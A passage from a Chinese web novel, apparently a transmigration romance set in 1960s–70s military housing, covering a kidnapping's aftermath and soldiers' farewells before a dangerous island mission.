高岭在菜地把他打成屎,现在又踩他手。
赵二孬子现在一看到高岭,就浑身发抖,裤子又湿了,扯着嗓子嚎,
“我就是喝多了,鬼迷了心窍,贪了那些钱。又哥们义气,才答应帮黄大牙子办事的。别的再没啥了。我不认识这女人,也和她没仇。”
“你们两这是都认了,都说是拿人钱财,替人办事?”
事关霍团长媳妇,王队长可不敢胡乱定性。
刚才早有人跑去找霍团长了,王队长相信,很快霍团长就会赶过来了。
到时候,这两人要杀要剐,自然有霍团长处理。
他就先审着,审清楚最好,审不清楚,等一会自然会有霍团长审。
反正不管是啥定性,他只管抓住一点,那就是今天高连长见义勇为了,事结束后,他得让人给**家送一面旗去。
“没听见吗?你说的黄大牙子不在,证明不了你说的话。”
高岭脚下一用力,赵二孬子又要嚎,可看一眼高岭冰冷的眼神,吓得又咽了回去,他拼命想黄大牙子说的那些话。
可他喝多了,脑袋不灵光,越急越想不起来,拼命朝赵树生挤眼睛,
“赵树生,你想想,喝酒的时候,黄大牙子提到是住雇了我们吗?”
“哥,你有啥说啥,都到这时候了,你还想瞒啥?你要是坐牢了,你想想嫂子会等你吗?”
赵美艳恨铁不成钢。
赵树生想了想,瓮声瓮气地说,
“黄大牙子说,他也是拿人钱办事的,给他钱的人就是他供销社的同事,好像叫啥山。”
最初赵树生还不想咬黄大牙子,他还想着,今天这事顶过去了,他大不了被打一顿,教训一顿,忍过
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去了,就能拿到一台收音机。
现在一听,他得坐牢,媳妇都得跑,还要收音机干啥。
立马供出了黄大牙子的上家。
你别看赵树生长相老实,他其实心眼要比赵二孬子多。
赵二孬子见酒如见命,一喝酒啥都忘了。
他倒长了个心眼,一直留心套黄大牙子的话。
苏圆圆暗笑,看吧,马上好戏就要上场了。
她转头看向夏千燕。
咦,
夏千燕人没了。
苏圆圆问赵树生,
“是不是姓李?”
“对,李大山,就是叫李大山,好像也是个司机。”
赵二孬子喊起来。
“李大山在这里。”
旁边看热闹的人群里,有人推出来一个男人,正是李大山。
说起来,李大山这会子能在这里看热闹,也是个意外。
刚才在家里,他媳妇钱大俊生气走掉,他追出来,想和他媳妇再好好说说,结果没追上。
只好拐回家,结果回家路上,听到几个人议论,说啥今天真是遇到了稀奇事,霍团长媳妇那么胖,还是个孕妇,竟然被人绑了,幸好坏人被抓住了。
李大山听得心头突突直跳。
他把这事交给黄大牙子的,要是他被抓住,供出自己那可完了。
李大山赶紧抓住说话的人,问抓住的坏人是啥样的人。
一听说是两人,都是赵家村的,李大山松了口气。
没抓住黄大牙子。
但又一想到,黄大牙子这货拍胸脯子保证能办好。结果他自己都没参加,竟然找了两不上线的村里汉子。
看这样,把事办砸了。
李大山想着,他全程都没和这两人见面,应该不会扯出他,他想弄清楚事情过程,就跟过来,挤在人群里听。
没想到,这听着听着,就把自己给撞进去了。
“夏千燕,这事是她给钱,请我办的。她想抢你的男人,所以拿钱请我帮她找人,说要毁了你的名誉,让你没脸在家属院呆,只要你一走,她就有法子抢回霍团长。”
李大山才不替夏千燕挡,毕竟现在他娘来了,还把菊花接他家去了。
他可不能在这节骨眼上出事,不然,娘和菊花咋弄?
第108章 媳妇,我想给你洗个脚
“天哪,看不出来,夏千燕那么温柔白净的一个小姑娘,心竟然这么黑!”
嫂子们又议论开了。
“毕竟她才是霍团长前对象,被人抢走了霍团长生气也正常吧!”
“别管咋说,也不能干出这种事?”
“犯法了,得坐牢!”
人们正议论着,突然被一个鬼哭狼嚎的声音打破了,
“圆宝啊,俺妹啊,俺妹,你莫怕,三哥来了。”
苏陈皮哭得鼻涕一把泪两行,跌跌撞撞跑进来,一头撞到苏圆圆面前,扒着她就哭,
“圆宝啊,俺妹啊。你可不能出事来,你要出事,咱爹咱娘能打死我来。”
“媳妇!”
霍战北一胳膊把苏陈皮扒拉一边去,
“你哪里受伤了?疼不疼?”
霍战北蹲下来,立马去检查苏圆圆,
“脚怎么样?手怎么样?还有身上呢?哪里疼?你觉得哪里不舒服?”
霍战北的声音温柔至极,惊得一屋子人都呆了。
这是冰块脸霍团长?
“俺妹来,你咋了?哪个天杀的,敢动俺苏陈皮的妹子,看俺不弄死你。”
“闭嘴!”
霍战北一个冷眼扫过去,苏陈皮闭嘴,直打哭嗝。
“没事,就绳子勒的一些淤青。”
当着一屋子人,苏圆圆哪里肯让霍战北卷她的衣袖看。
扯回自己的手,嗞,不由吸了口凉气,疼。
“这——”
都不用再卷衣袖了,苏圆圆露在外面的手腕、脚踝,还有脖子。
上面全是绳子勒的、刮的青紫。
还有擦伤。
“俺妹来
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,圆宝来,你可受苦了。哪个狗——,敢弄伤俺家圆宝。”
苏陈皮一见苏圆圆皮肤上的淤青,一下子破防了,堵也堵不住,又哭又喊得朝着王队长扑去,
“你咋个搞得治安?你咋得审的犯人?俺妹伤成这样?你干脆把你这身皮扒掉,给狗穿得了。”
哭着,扒拉着王队长又抓又挠,
“俺妹从小皮肤就嫩,戴根红绳系紧了都能勒青。你看看,俺妹都让狗……伤成啥样了?你——”
王队长脸上冷不防被抓了几道子。
王队长真是在心里不停地骂——
这苏班副平时看着给个人样,一说三笑的,这咋撒起泼来,比个娘们还娘们啊!
“你挠**啥?他两才是犯人,他——”
王队长话没说完,苏陈皮丢了他,┗
第109章 我等你回来娶我
热水漫过脚背,霍战北略带粗糙的手指,抚过她软滑的脚背皮肤,然后是脚心,最后落到脚踝处。
轻轻的,像洗,更像抚摸。
又带着一股说不出来的感觉。
“媳妇,你的脚真好,真香,真滑。”
其实霍战北想说的是,媳妇你的皮肤真白真香真软。我真想……
如果把这样的媳妇,抱在怀里……
如果……
霍战北的眼神迷离,手指不禁上伸……
“你说走?是出任务吗?”
苏圆圆被刚才霍战北一句:还有三个小时我就要出任务走了。给震住了。
霍战北腿伤还没好利索,还有十天她们就要办婚礼了。
在这种时候,让这样的霍战北去出任务?
这一定是特别重要,特别紧急,非霍战北不可的任务!
苏圆圆迅速在原书中寻找这段情节。
突然瞳孔巨震,她想起来了,原书中的确是有这段:霍战北出特别任务,受重伤归来,几乎要了半条命!
“到哪里?还有谁和你一起去?你能不去吗?”
苏圆圆紧急又带点惶恐的语气,让霍战北心里的那把有颜色的火,呼一下吹个半歪,把他从满脑子美丽色彩画面中拉回了现实。
“媳妇——”
霍战北轻轻揉了下苏圆圆的脚背。
“哦,对了。你们有纪律,不能和家属说,对吧?”
对上霍战北的眼神,黑沉柔软,亮得专注,裹着化不开的温柔。
苏圆圆不禁蜷曲了一下脚趾。
“别动,媳妇——”
霍战北嗓音低哑,媳妇两字带着尾音,苏圆圆的心头一酸。
这是她第一次有了自己是军属这个认识。
“对不起。”
苏圆圆轻声说。
霍战北想说:乖,在家等我回来娶你。
可他不能说,他只说了一个字,
“乖——”
两人对视,霍战北没说一句关于任务的话,也没有责怪媳妇不懂事。村姑没规矩问东问西。
霍战北轻轻把水撩到苏圆圆脚背上,伸出手指,继续洗她的小脚趾,每个脚趾缝里都给她洗干净。
“媳妇,我想天天给你洗脚。”
其实他想说的是:媳妇,等我回来,我天天给你洗脚。
可他不能说,让她等的话。
因为,这一次,他不一定能回来。
霍战北想着**的话:这趟海岛清剿任务,只能成功不能失败。
政委:这是樱花国残留的秘密实验室,任务危险,九死一生。
**:高岭跟着你,你不会水,她会!
政委:你们都要——活着回来!
“媳妇,要是我回不——”
霍战北刚想说,要是我回不来,你就回村,再嫁。
被苏圆圆一手捂住嘴,
“我等你回来娶我!”
“媳妇——”
霍战北的声音轻轻,呼出的热气炙着苏圆圆的手心,仿佛一直烧到她心里。
“你为人民,我守咱家!”
苏圆圆眼圈红了,她不能在霍战北面前流泪。
“我给你拿药,你能用,也能分给你战友用。”
“有,不用。”
“你忘了,我爷爷是御医世家,我家的药不一样。”
苏圆圆的手指轻轻按在霍战北心口,浸汗温热的皮肤下,是猛烈跳动的心脏。
“我会把用法和病症写在包装上,你拿着。”
“好,都听你的。”
霍战北起身,往前俯,整个人完全罩住了苏圆圆。
苏圆圆坐在椅子上,就这样整个人被霍战北的气息笼罩,
“媳妇——”
没有多余的语言,温热盖上了温热。
这一次,霍战北没有温柔,像一头饿急的狼……
直到盆里的水凉了。
霍战北才从迷梦中醒来。
他看着苏圆圆红肿的唇,凌乱的发,有些自责的挠头,
“媳妇,我能早一点遇见你就好了。”
是的,霍战北此时心里想的就是,如果他能更早的遇到苏圆圆,娶了她,他天天给她洗脚,那该多好。
“太早了,俺太小,你太老,俺娘不一定会给你下药!”
说完,两人相视一笑,有酸楚,有甜蜜,有不舍。
“媳妇,如果我不能回来。你一定不要管我妈怎么说,立马回你老家。孩子你想生就生,不想生就打掉。”
这一次,霍战北没有给苏圆圆捂他嘴的机会,直接一口气说完了他的交代。
“霍战北,你会回来的。我和孩子都会等你。”
苏圆圆心里一酸,又很温暖。
她万万没想到,在这个后代
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香火大于天的时代,霍战北能对她说出这样的话。
毕竟,她和霍战北才相处没多久。
何况他原来还绝嗣,孩子对他们霍家有多重要,他不会不知道。
可他,却没有要求她为他守寡,甚至没要求她生下孩子。
霍战北心里想着:嗯,媳妇,我一定会回来的。
但他嘴里不能这样说,这趟任务,他知道活着回来有多难。
他不能让他媳妇守着一个,不一定能兑现的承诺,度过一生!
他媳妇还太年轻,最美的年华,就应该过最美的生活。
他保家卫国守人民,他媳妇也是人民!
头抵上了她的头,
“媳妇,你是我心尖尖上的人民!”
泪,再也忍不住。
哗,流了一脸。
“霍战北——”
千言万语,苏圆圆想说的叮嘱,一句话也说不出来了。
“霍战北——”
屋门前,一个人全身沐浴着阳光,犹如天神般降临。
“你们可不能怪我,只能怪你们太沉迷。我敲大门了,我都在屋门口站一会了。”
高岭一脸理所当然的表情。
紧跟在她身后的郑好一脸窘迫。
这高连长是敲大门了,可她也只是敲罢了,和直接推门进院也没啥区别。
只是进了院子,站到堂屋门口,就看到里屋他们家团长正和小嫂子腻歪。
他要出声提醒,无奈高连长直接捂住他嘴,还给了他一个凶狠的眼神。
郑好觉得,高连长那意思,他要是敢出声提醒,打扰她看好戏,她下一秒就敢打爆他的头。
高岭?
看到高岭,苏圆圆的头轰一下炸了。
她想起来了,完全想起来书中的细节了。
这次任务是海岛围剿敌特,敌人都有樱花人、越人、缅人,不但狡猾,而且还有特殊武器。
小组成员二十二人,失踪八人,霍战北也失踪人员之一,作为书中男主他有男主光环,虽然重伤,最后有惊无险地回来了。
但作为配角的人可没那么好的运气。
其中尤其高岭出事,是原书中写得最惨烈的一幕。
她也是八个失踪人员之一。
作为小组中唯一的女性,她遭受了最惨烈的报复。
“高岭,我有话想和你说。”
第110章 你身上有我妈妈的味道
“你有啥话不能当着霍战北的面说?”
高岭不满,
“真是娘们唧唧的。”
郑好在高岭身后翻白眼,小嫂子本来就是娘们,不娘们唧唧,难不成像你一样爷们气概的。
“来,这个给你。”
苏圆圆不管她的抗拒,直接拉着她去了堂屋,然后一阵翻找,把药找出来,塞到她手里。
“这个红包的你出事就吃,记住,不管出了什么事,保你吃下去十分钟后,人就爷们唧唧的了。”
爷们唧唧的?
高岭笑了,霍战北这小胖媳妇其实人还蛮可爱的。
书中写过,高岭别看是个闺女,比很多男兵都厉害。这次行动霍战北是行动小组的队长,她是副队长。
要不是那些人给她使了**,迷晕了她。
又给她打了针,她也不会任人宰割。
虽然书中最后,高岭被救了回来。
但高**却在接到消息的时候,痛极攻心,得了急心疯,人偏瘫了。
而高岭就是被救了回来,整个人手脚筋都断了,肾还被割掉一个,更不要说别的伤处。
更可恶的是,那些人还在她的后背纹了一个可怕的图。
“苏圆圆,我真喜欢你。要是你不和我抢霍战北就好了。”
高岭挠了下头,把药包丢在桌上,
“我用不着。”
“你是个姑娘家,不要学那些男人,动不动就挠头,还有,对于别人的好意,不要一口拒绝,要学着接受,然后感谢就行了。”
苏圆圆拿了一个小布袋,把小药包塞进去,
“记着,白包的是治外伤的,能迅速止血。”
苏圆圆又捡了几包,都在上面写了字,
“这包是能让你迅速恢复休力的,这包是……”
苏圆圆恨不得把所有能用的药,都给高岭带着。
想想,苏圆圆又单独把那包解**毒烟的小药包挑出来,直接塞到高岭口袋里,
“这个第一时间吃,出事了,别逞强,先保护自己。记住,你不但是兵,你还是一个姑娘。”
死寂。
屋里一片死寂。
霍战北:媳妇,这药你不该是给我吗?给她一个外人干啥?
郑好:小嫂子,你不会忘了吧,你们是情敌啊?
高岭怔了一下,又伸手去挠头,伸到一半,想到刚才苏圆圆说的,她是姑娘家,不能跟男人一样动不动就挠头。
这当着霍战北的面,她这样挠头,是不是会让霍战北觉得她不是个姑娘?
高岭却忘了,她这么多年,在霍战北面前都不知挠过几千几万遍头了。
“你给我妈一样,很唠叨唉!”
妈?
苏圆圆翻她白眼。
“你多大?”
“二十五,比霍战北小一岁,我爸说女的比男的大不好,看看,特战组全队没结婚的,又比我大的男人除了楚行止,就只有霍战北了。”
高岭伸手,去拍苏圆圆,
“楚行止那家伙娘们唧唧的,我不喜欢。我能嫁的人只有霍战北了。所以,苏圆圆,你真不能怪我和你抢男人。”
眼看高岭的魔爪就要拍到苏圆圆的肩膀,霍战北早一步搂过了苏圆圆。
“说话就说话,少动手动脚。”
二十五?
苏圆圆瞪大眼睛,
“高岭,这就是你要嫁给霍战北的原因吗?”
高岭摊开双手,
“你真是和我妈一样唉,问那么多干什么,难道这理由还不够吗?”
苏圆圆整个大无语了。
原书中高岭毕竟只是一个配角,而且还是作者用来烘托气氛的配角,一个活不过三集必死的配角。
作者自然不会测浪费太多笔墨来写,她怎样喜欢霍战北,只一笔带过,她在礼堂向男主求婚,然后一路直白的追求,高调的宣传她嫁定了霍战北。
最后出事,父亲病重,女主夏千燕趁机败坏她,一个破烂货,还想追霍战北?
用了一些手段,导致高岭**。
高岭死后不久,她父亲也就病亡去世了。
“不就是个媳妇吗?又不是啥稀罕物,不让我碰,我偏要碰。”
高岭见霍战北护犊子一样搂住苏圆圆,
坏笑一下,一脚拌向霍战北的腿,一掌向霍战北面门袭去。
“高岭,你发啥疯?”
霍战北腿受伤还没好利索,他不能让高岭踢到,不然这任务也不要去了。
同时,他也怕高岭不知轻重,碰着苏圆圆,立马转向用背部护住。
谁知高岭早知他会如此,直接从他大长腿下伏地划铲过去,迅速鲤鱼打挺站起,一转身,伸手搂住苏圆圆。
把头直接埋在苏圆圆怀里,长吸一口气,
“嗯,你身上有妈妈的味道。”
苏圆圆更无语了。
这姐?
人都二十五岁了。
居然完全不按常理出牌。
这时候,苏圆圆总算是明白,为啥军区家属院里的嫂子们,甚至王队长那样的人,都不敢惹高岭了。
这绝不仅是她的身份。
主要是这姐的精神状态。
这姐这是完全没有在乎的人了吗?
居然从霍
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战北腿下滑铲过去?
“高岭,你放开我媳妇!”
霍战北真是生气了,脸都黑了。伸手就要推开高岭。
怕她不知轻重,弄伤他媳妇。
他媳妇可还怀着孩子呢?
万一被这货吓着,可咋整?
苏圆圆冲霍战北笑笑,摆下手,示意他不要管。
她自己和这姐唠一下就行,不然,以这姐的脾气,霍战北越护,她就会越来劲。”
媳妇不让他管,霍战北只能干生气。
“嗯,好温暖啊!完全是妈妈的味道啊。”
苏圆圆脸上有了裂痕。
我的个姐唉,你礼貌吗?我才二十,你都二十五了。你句句不离,我身上有妈妈的味道。
难不成,你还觉得我是你妈妈?
“高岭,我怎么就有妈妈的味道了?你真奇怪,你说的妈妈的味道是啥?不会是胖吧?”
苏圆圆觉得,高岭这货就是脑回路与众不同,她最大的特点也就是胖了,难不成,在高岭眼里,胖子都是妈妈?
“嗯,你身上就是有我妈妈的味道。”
“你妈妈?”
“嗯,我爸说,我妈妈就长你这样,胖乎乎的。香香软软的。”
“你不会见个胖子,都认人家当妈吧?”
苏圆圆心想,果然,还真是和她想的一样。
“当然不是,你胖乎乎的,软乎乎的,我就是想靠在你身边,感觉很踏实,很舒服,很安心。”
“你妈妈也是个胖子?”
苏圆圆记得书里只一笔带过,写高岭自幼丧母,是她父亲既当爹又当妈,把她带在身边长大的。
没写过她母亲是什么样的人。
“嗯,我爸疼我妈,家里有啥好吃的,他都给我妈吃,我妈吃到一百五十斤。我爸还说,我妈虽然胖,可她漂亮,温柔,爱笑,搂起来,软软香香的,很温暖,很舒服。”
高岭把头又往苏圆圆身上拱了一下,
“你也是,胖乎乎,软乎乎,很温暖,很舒服。”
“你没见过你妈妈吗?”
“我妈生我难产,我一出生,她就走了。我爸经常给我说我妈。说她有多胖,有多漂亮,有多温柔。对了,还说我妈妈身上的味道,有一股桂花和药掺合着的香。”
苏圆圆刚才洗脚用的就是桂花味香胰子,这段时间,她一有空就摆弄爷爷给寄来的中药包,磨粉,做出便于携带食用的中药丸子。
所以身上有一股桂花和中药掺合着的香。
“而且,我爸说我妈妈很爱唠叨,尤其是他出任务的时候。”
第111章 我信你
苏圆圆心里一酸,她不能让高岭出事。
苏圆圆努力回想原书中关于高岭出事的这一段:
迷昏被抓,送上实验台,被剖开取肾,刺绣后背,受侮辱,很惨。
高岭出事,她父亲去世,霍战北受伤。
霍战北这人向来护犊子,高岭作为他的副队长这么惨。接下来好多年,他一直都在寻找伤害高岭的那一波人的余孽。直到几年后,他又捣毁一处窝点。
抓住了当年迷昏高岭,并主刀害她的那个六指医生。
牵一发动全身,由此扯出一个境外窝在国内的巨大势力团伙,立了大功,为他成为**打下了坚定的基础。
“高岭,你记住,如果你要追敌人,千万不要一个人落单。”
“你别怕,我身手好着呢。只有敌人怕我,没有我怕敌人的道理。”
高岭松开了苏圆圆,微笑看着她,
“咋得,你不会因为我救了你,你就要对我好吧?”
高岭看了一眼霍战北,
“苏圆圆,我可是你情敌。你就是送给我药,我还是会把霍战北抢走的。”
“你抢吧,你是英雄,我是人民,英雄为国流血保人民,人民也得爱戴英雄不是。”
高岭哈哈笑了,
“你这丫头,真有意思。我算是明白霍战北为啥会娶你了。我要是个男人,我也会娶你。”
高岭脸色一正,
“这话可是你说的啊,到时候,我真抢走了,你可别哭啊。”
“是我的谁也抢不走,不是我的,你不抢,他也会跑。”
哈哈,高岭真心笑了。
“好,你的这些东西我收下了。等我回来,给你带好东西啊。”
“聊完了吗?聊完了可以滚了。”
霍战北冷眼儿一扫高岭,
“离走还有一段时间,你不回去准备你的东西,和你父亲告个别,跑我家来干啥?”
说着,把苏圆圆往怀里一带,
“来了就净拉着我媳妇聊个没完,不知道的,还以为是你媳妇呢?”
“哎哟,瞧你,我又不抢你媳妇,吃啥醋?”
高岭冲着霍战北勾了勾手指,
“霍战北,我可是来抢你的哟!”
“都别走了吧,我给你们做小鸡炖蘑菇吃。都吃得饱饱的,再走。”
郑好娘从厨房走过来,眼圈红红的。
郑好爹还在医院,郑好又要跟着霍团长一起出任务,郑好娘心里没着没落的。
“小鸡炖蘑菇,我喜欢吃,我——”
高岭的话被霍战北打断,
“你啥也别想吃,滚,赶紧滚你家去,要不然,一会你父亲也跑过来,我家可没那么多碗。”
父亲?
高岭眼神黯淡了一下。
这次任务名单本来没有她,她主动报名要跟着去的。
一来,她想跟着霍战北
,呆在他身边,才有机会把他抢回来。
二来,她也不想呆在这里,面对着他父亲。因为,她给她父亲撒谎了。
是的,高岭撒谎了。
她说霍战北腿受伤了,缠着她父亲带着她来军区看看。
她父亲刚才是不同意的。
她撒谎说,她给霍战北打过电话了,霍战北已经答应了她,要和她处处看。
要不然,**也不会在县城误会,霍战北是来接他和闺女的。
这回去,她咋对她父亲圆这个谎呢?
“妮,听霍团长的话,快回去和你爹说说话吧。你这出任务,哪能不和家里说一声就走,你们年轻,不知道爹娘心里多惦念。”
郑好娘赶紧劝高岭,
“你真想留下来吃饭,我让我们家郑好请你爹来一起吃?”
她就是为了躲她父亲的。她父亲来?
高岭赶紧转向就走,
“那我先回去了。”
一边走,一边想,我才不回去,我得磨过这两三个小时,到时候出发了,我父亲就是找到我,他也不能当着众多人的面说我。
霍战北这儿还真不能呆,高岭心想,一会说不定,她父亲还真会找到霍战北这儿来。
“娘,你来,我刚才话还没和你说完呢?”
郑好有些尴尬地拉着他娘进厨房了。
一进厨房,他就说,
“娘,你一向是个有分寸的人。所以温教授才留你在家里帮忙照顾小嫂子。刚才霍团长要高连长走,你就不该留她。”
郑好是个机灵鬼,擅会看人眼色。
“娘,这些年,你一直都在教我这些道理。今天,你这是咋了?是不是?你觉得我跟团长出任务,你担心了?”
郑好觉得,毕竟他娘是个乡下妇女,没见识过出任务的场面,关心乱了心性也是正常。
郑好娘低下了头,
“好儿,娘不好,给你添乱了。可是——”
郑好娘伸手整理了一下郑好的衣领,
“娘害怕,好儿啊,你答应娘,一定要好好地,啥都不少的回来。”
“娘,你别担心。我不走。”
“你不走?”
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郑好娘惊讶抬头,
“霍团长出任务,你怎么会不走呢?”
郑好是霍团长的勤务兵,不是霍团长在哪,郑好就得在哪的吗?
“团长把我留下了,说他不放心小嫂子,让我和你一起照顾小嫂子。”
“呀,好儿,你真不走?”
“嗯,团长说,他这次任务特殊,不能和家里联系,他让我留在家,小嫂子要是有啥事,就让我帮着做。要是有困难,就让我以他的名义向上面打报告。”
“嗯,霍团长可真是疼媳妇啊。”
郑好娘叹息,
“好儿啊,既然霍团长和温教授这么信咱,咱娘两可得把圆圆给伺候好了。”
郑好娘唠叨,毕竟是双胎,紧张是应该的,再小心都不为过。
“娘,团长还交代,让我明天就去县上,给家里装一台电话。这样,好和团长家里,还有小嫂子家里联系。”
“装电话?那得多少钱啊?俺的老天爷,这东西可是公社才会有。”
郑好娘又唠叨,说他们村一个电话都没有,还是隔壁村村长家装了一台,附近几个村的人打电话,都得到那个村长家去。
“小嫂子的爹就是村长,她家就有一台电话。”
郑好又给她娘说起,过几天小嫂子娘家人就该来了。团长的家人也会来。
娘两在厨房商量怎么照顾苏圆圆,怎么接待双方家人。
堂屋里,苏圆圆开始给霍战北收拾东西,
“这些药包都是给你的。”
苏圆圆想了想,还是提醒道,
“霍战北,你们要小心一些奇怪的人。”
“奇怪的人?”
“嗯,比如长了六指,或者镶了金牙啊,秃了头这样的男人。”
苏圆圆想起书中的细节,那个害了高岭的人,就是一个长着六指的男人。
但她不能直接这样说,家属不能参与这些事。
再说,她也没法解释,她为什么会这样说。
“好!”
霍战北的态度倒是出乎苏圆圆意料,正常人听到她这样说,不是
应该问为啥吗?
“你是我媳妇!”
霍战北自然看到了他小胖媳妇脸上的惊讶。
“我信你!”
苏圆圆张大的嘴巴,终于合上了,好吧,她无话可说了。
“圆圆妹子,我要去出任务了。过两天咱爹娘来,你给他们说一声,不是我不操持,是我真出任务了。”
苏陈皮一进院子,就扯着嗓子说。
第112章 出发
时间过的真快,三个小时吃饭,收拾东西,一转眼就过去了。
天黑了下来,有微雨落下。
张秋月拉着四个女儿,站在一群军嫂里送别男人。
苏圆圆和张红英也站在人群里,看着一队队士兵和送行的军嫂告别出发。
这次任务分两批进行。
霍战北和高岭他们属于先遣小分队,只有二十二个人,秘密集合,秘密出发。
支援他们的大部队,有两千多人,而且对外宣称的任务是海边剿匪,掩盖了他们作为支援部队的真实目的。
“回去吧,有雨,别淋着孩子。”
李大盆穿一身洗得发白的军装,粗糙的大手一个个摸过四个闺女的小脸蛋。
不舍的转身,看向他媳妇,
“任务急,我得走了。”
霍战北所带的独立团一共两千多人,是军区人数最多的团了。李大盆的尖刀连是这次任务,支援特别小组第一批两个连中的一个。
上面说了,此任务九死一生,连里一百多号兄弟,能回来一半就不错了。
他是连长,他得冲在最前面。
“在外头,别逞强,平安回来。”
张秋月眼泪流了下来。
男人在走前,大白天关上门,和她疯了一场。这种情况,是从来都没有过的。
张秋月心里怕,可她作为军嫂,她不能给男人拖后腿。
“回来我给你擀面条吃,纯白面的,咱吃稠的,给你做三大盆。再给你加一大碗蒜泥。”
李大盆饭量大,最爱吃张秋月做的手擀面,泼上辣椒油,放多多的蒜泥。
家里困难,白面少,张秋月哪敢让他一顿吃饱,最多给他擀一盆杂面条。
而且张秋月不喜欢蒜味,所以晚饭一般不让李大盆吃蒜。
本来,按惯例,每次出任务前,张秋月都会给男人擀一盆白面条。
但这次,李大盆太疯了,关上门,硬拉着她在屋里疯了两小时,剩下的时间,她忙着给他收拾东西。
就没有时间给他做面了。
倒是大闺女懂事,已经在厨房给做了红薯稀饭,熘了几个馒头,有黑面也有白面的。
男人拿着馒头,就着咸菜,一口气吃了六个馍馍。又喝了三大碗稀饭,勉强混个半饱。
“嗯,孩她娘,你和孩子在家别挂念我。你也别省着,都给孩子吃。你也吃。”
李大盆想说,我这次去要是回不来,你带着闺女要过不下去,你就再找一家,只要那家对你好,不苛待咱闺女就行。
可他说不出来。
“我和闺女等你回来。”
张秋月突然眼圈一红,说不下去了。
远处集合的哨声,一声紧过一声。
“圆宝,咱爹和咱娘回来,你可一定要替我多说一些好话。”
苏陈皮作为三班班副,他是属于李大盆连队的,他嘴里和苏圆圆说话,眼神一个劲瞟张红英。
两人毕竟没请媒人,没公开关系,他可不敢当着这么多人的面,和张红英告别。
“这些绷带你们都带好,时间紧,我们医务室只准备了这么多。”
张红英不是军属,她可不能像张秋月那样明目张胆地送苏陈皮,她用了点心思,拉着医务室的同事,做了一些临时绷带,拿来分给李大盆连队的人。
她把绷带塞到苏陈皮军用挎包里,眼圈有些红了。
“吹号了,我包咋裂个口子?真是越忙越添乱!”
“同志,我带了针线,我来帮你缝上。”
张红英从口袋里拿出针线,也没让苏陈皮拿下挎包,直接站在他身边缝。
“太谢谢你了,同志!麻烦了啊!”
“不麻烦,为党为人民,光荣!”
苏圆圆看着身边,她三哥和红英一本正经地一问一答。
明明眼里的爱意藏都藏不住,还得拼命让脸上保持一种不动声色的平静。
六七十年代,典型的爱情。
苏圆圆并不担心她三哥,因为在书中,她三哥和张红英不但结了婚,还生了孩子。
而且原书中也没有她三哥出这次任务的描写,说明她三哥不会有任何问题。
集合的号声吹得一声紧似一声。
苏圆圆看着一家家,一对对告别的人。
大人低声叮咛,孩子一声声叫爸爸。
心里一酸,眼泪差点流下来,含着泪,她望向队伍行进的前方。
她的男人,霍战北,他们早十分钟前就出发了。
“平安回来!”
“我等你!”
一声声的呼喊,男人们纷纷归队,渐渐的男人们都走远了,最后微雨中只剩下女人和孩子们。
“我等你回来,我给你生儿子!”
突然,一个响亮略带粗哑的声音传来。
朦朦雨雾里,这一声和别的女声都不一样。
粗嘎、霸道、坚韧,带着满满的生命力和期待。
张秋月?
苏圆圆的头嗡一声炸开了。
她想起来了,书中写过一个片断:
张秋月
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和她婆婆争吵。李菊花嘲笑她怀孕了有啥用,就是生个儿子也没用了,还不是**男人。
想起来了,苏圆圆彻底想起来了,
李大盆好像也是失踪人员之一。
因为李大盆并不是霍战北带的小分队成员,所以,苏圆圆先前根本就没有想到李大盆会失踪。
现在被张秋月喊一声生儿子,才想起来这个细节。
这次失踪人员不少,霍战北和高岭这些主要人员又受了重伤,内情上面调查的很困难。
海岛地形复杂,搜救失踪人员很困难。
最后一批失踪人员的遗体被搜查到,都是三个月以后的事了。
算算时间,苏圆圆脸色变了。
前几天,她给了张秋月几包药,是调理身体,有利生儿子的中药。
她只给了张秋月,并没有给刘招娣。
因为她明白,刘招娣一旦生了儿子,她的日子不会比现在好,说不定比现在还要惨上一百倍。
但张秋月不一样。
所以,何况张秋月身体底子比刘招娣好,刘招娣身体病弱,此时吃这药反而对她身体不好。
“圆圆,吃这个真能生儿子吗?”
苏圆圆想着,她给张秋月药时,张秋月激动地很,抓住她的手指骨节都泛白了。
“嗯,这是俺爷配得药,以前宫里娘娘们用的方子。吃了准生儿子。”
“圆圆,你可是俺家的大救星。”
张秋月恨不得给苏圆圆磕头,
“虽然俺男人不嫌弃闺女,但俺还是想给俺男人生个儿子。让他回老家的时候,也能抬起头,不被老家人说他是绝户头。”
一想到,每家回老家过年的时候,男人几个兄弟,还有家族里的几个叔伯堂兄弟们,看她男人的目光,张秋月心里就堵得慌。
那些人的眼神分明是:大盆啊,你当个副连长又咋样?还不是只有一窝闺女,断了香火!
“圆圆,等俺怀上生下来,是个儿子,俺和俺男人一辈子都念你的好。”
苏圆圆想到这里,脸色越发白了。
张秋月吃了她给的药,这几天要是和她男人那个了,三个月后,自然会被查出怀孕。
而且生的一定会是男孩!
可是,
她男人却没了。
苏圆圆真想告诉张秋月,让她追过去,叮嘱男人一下。
可是,雨越下越大,男人们早就走远了。
不行,她得想办法,救下张秋月的男人!
苏圆圆转身就走。